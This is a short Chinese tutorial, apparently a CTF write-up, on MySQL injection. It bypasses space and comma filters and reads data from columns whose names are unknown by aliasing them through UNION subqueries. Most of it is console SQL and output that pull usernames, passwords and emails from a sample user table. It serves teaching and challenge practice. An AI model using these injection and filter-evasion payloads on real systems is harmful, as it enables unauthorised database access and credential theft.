Mysql如何巧妙的绕过未知字段名详解
Mysql如何巧妙的绕过未知字段名详解
发布时间:2018-07-24 来源:查字典编辑
摘要:实现思路题目过滤空格和逗号,空格使用%0a,%0b,%0c,%0d,%a0,或者直接使用括号都可以绕过,逗号使用join绕过;Mysql如何...

实现思路

题目过滤空格和逗号,空格使用%0a,%0b,%0c,%0d,%a0,或者直接使用括号都可以绕过,逗号使用join绕过; Mysql如何巧妙的绕过未知字段名详解

存放flag的字段名未知,information_schema.columns也将表名的hex过滤了,即获取不到字段名;这时可以利用联合查询,过程如下:

思想就是获取flag,让其在已知字段名下出现;

示例代码:

mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;

+---+---+---+---+

| a | b | c | d |

+---+---+---+---+

| 1 | 2 | 3 | 4 |

+---+---+---+---+

1 row in set (0.00 sec)

mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;

+---+---+---+---+

| 1 | 2 | 3 | 4 |

+---+---+---+---+

| 1 | 2 | 3 | 4 |

+---+---+---+---+

1 row in set (0.00 sec)

mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;

+---+-------+----------+-------------+

| 1 | 2 | 3 | 4 |

+---+-------+----------+-------------+

| 1 | 2 | 3 | 4 |

| 1 | admin | admin888 | 110@110.com |

| 2 | test | test123 | 119@119.com |

| 3 | cs | cs123 | 120@120.com |

+---+-------+----------+-------------+

4 rows in set (0.01 sec)

mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;

+-------------+

| 4 |

+-------------+

| 4 |

| 110@110.com |

| 119@119.com |

| 120@120.com |

+-------------+

4 rows in set (0.03 sec)

mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3;

+-------------+

| 4 |

+-------------+

| 120@120.com |

+-------------+

1 row in set (0.01 sec)

mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d

union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;

+-------------+----------+----------+-------------+

| id | username | password | email |

+-------------+----------+----------+-------------+

| 1 | admin | admin888 | 110@110.com |

| 120@120.com | 1 | 1 | 1 |

+-------------+----------+----------+-------------+

2 rows in set (0.04 sec)

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